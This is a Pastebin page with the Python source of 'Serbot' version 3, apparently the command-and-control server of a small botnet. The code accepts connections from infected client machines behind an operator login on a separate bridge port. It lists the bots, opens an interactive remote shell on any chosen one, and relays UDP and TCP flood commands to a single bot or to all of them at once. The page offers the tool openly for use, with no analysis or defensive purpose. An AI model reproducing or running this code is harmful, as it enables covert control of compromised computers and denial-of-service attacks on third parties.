Advertisement
Guest User

Serbot - Server - 3

a guest
Nov 28th, 2014
212
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.15 KB | None | 0 0
  1. #!/usr/bin/env python2
  2. #v3
  3.  
  4. import os, sys, time
  5. from socket import *
  6.  
  7. if (len(sys.argv) == 4):
  8.     port = int(sys.argv[1])
  9.     password = sys.argv[2]
  10.     bridgeport = int(sys.argv[3])
  11. else:
  12.     sys.exit("Usage: server.py <port> <password> <bridge port>")
  13.  
  14. intro = """
  15. ____ ____ ____ ____ ____ ____
  16. ||S |||e |||r |||b |||o |||t ||
  17. ||__|||__|||__|||__|||__|||__||
  18. |/__\|/__\|/__\|/__\|/__\|/__\|
  19.  
  20. Coded by: dotcppfile
  21. Twitter: https://twitter.com/dotcppfile
  22. Blog: http://dotcppfile.worpdress.com"
  23. """
  24.  
  25. s=socket(AF_INET, SOCK_STREAM)
  26. s.settimeout(5)
  27. s.bind(("0.0.0.0",port))
  28. s.listen(100)
  29.  
  30. allConnections = []
  31. allAddresses = []
  32.  
  33. def quitClients():
  34.     for item in allConnections:
  35.         try:
  36.             item.send("exit")
  37.             item.close()
  38.         except:
  39.             pass
  40.  
  41.     del allConnections[:]
  42.     del allAddresses[:]
  43.  
  44. def getConnections():
  45.     for item in allConnections:
  46.         item.close()
  47.  
  48.     del allConnections[:]
  49.     del allAddresses[:]
  50.  
  51.     while 1:
  52.         try:
  53.             q,addr=s.accept()
  54.             q.setblocking(1)
  55.             allConnections.append(q)
  56.             allAddresses.append(addr)
  57.         except:
  58.             break
  59.  
  60. def main():
  61.     bridge=socket(AF_INET, SOCK_STREAM)
  62.     bridge.bind(("0.0.0.0",bridgeport))
  63.     bridge.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
  64.     while 1:
  65.         bridge.listen(1)
  66.         q,addr=bridge.accept()
  67.  
  68.         cpass = q.recv(10240)
  69.         if (cpass == password):
  70.             loginsucc=True
  71.         else:
  72.             loginsucc=False
  73.  
  74.         breakit = False
  75.         while 1:
  76.             if (loginsucc == False):
  77.                 quitClients()
  78.                 break
  79.  
  80.             if (breakit == True):
  81.                 quitClients()
  82.                 break
  83.  
  84.             timeout = time.time() + 600
  85.             if (time.time() > timeout):
  86.                 quitClients()
  87.                 break
  88.  
  89.             command = q.recv(10240)
  90.             if (command == "accept"):
  91.                 getConnections()
  92.                 q.send("[INFO] Done Accepting\n")
  93.             elif(command == "list"):
  94.                 temporary = ""
  95.                 for item in allAddresses:
  96.                     temporary += "%d - %s|%s\n" % (allAddresses.index(item) + 1, str(item[0]), str(item[1]))
  97.                 if (temporary != ""):
  98.                     q.send(temporary)
  99.                 else:
  100.                     q.send("[INFO] No clients\n")
  101.             elif("interact " in command):
  102.                 chosenone = int(command.replace("interact ","")) - 1
  103.                 if ((chosenone < len(allAddresses)) and (chosenone >= 0 )):
  104.                     q.send("[INFO] Interacting with %s\n" % str(allAddresses[chosenone]))
  105.                     try:
  106.                         allConnections[chosenone].send("hellows123")
  107.                         vtpath = allConnections[chosenone].recv(10240) + ">"
  108.                         q.send(vtpath)
  109.                    
  110.                         while 1:
  111.                             if (time.time() > timeout):
  112.                                 breakit = True
  113.                                 break
  114.  
  115.                             try:
  116.                                 data=q.recv(10240)
  117.                                 if ((data != "stop") and ("cd " not in data) and ("udpflood " not in data) and ("tcpflood " not in data) and (data != "quit")):
  118.                                     try:
  119.                                         allConnections[chosenone].send(data)
  120.                                         msg=allConnections[chosenone].recv(10240)
  121.                                         q.send(msg)                        
  122.                                     except:
  123.                                         q.send("[ERROR] Client closed the connection\n")
  124.                                         break
  125.                                 elif ("cd " in data):
  126.                                     try:
  127.                                         allConnections[chosenone].send(data)
  128.                                         msg=allConnections[chosenone].recv(10240)
  129.                                         vtpath = msg + ">"
  130.                            
  131.                                         q.send(vtpath)
  132.                                     except:
  133.                                         q.send("[ERROR] Client closed the connection\n")
  134.                                         break
  135.  
  136.                                 elif ("udpflood " in data or "tcpflood " in data):
  137.                                     try:
  138.                                         allConnections[chosenone].send(data)
  139.                                         q.send("[INFO] Command sent\n")
  140.                                     except:
  141.                                         q.send("[ERROR] Client closed the connection\n")
  142.                                         break
  143.                                 elif (data == "stop"):
  144.                                     break
  145.                                
  146.                                 elif (data == "quit"):
  147.                                     breakit = True
  148.                                     break
  149.                             except:
  150.                                 quitClients()
  151.                                 break
  152.                     except:
  153.                         q.send("[ERROR] Client closed the connection\n")
  154.                 else:
  155.                     q.send("[ERROR] Client doesn't exist\n")
  156.             elif ("udpfloodall " in command or "tcpfloodall " in command):
  157.                 for item in allConnections:
  158.                     try:
  159.                         item.send(command)
  160.                     except:
  161.                         pass
  162.             elif(command == "quit"):
  163.                 quitClients()
  164.                 break
  165.             else:
  166.                 q.send("[ERROR] Invalid Command\n")
  167.  
  168.  
  169. while 1:
  170.     try:       
  171.         main()
  172.     except KeyboardInterrupt:
  173.         try:
  174.             quitClients()
  175.  
  176.             del allConnections[:]
  177.             del allAddresses[:]
  178.         except:
  179.             pass
  180.     time.sleep(5)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement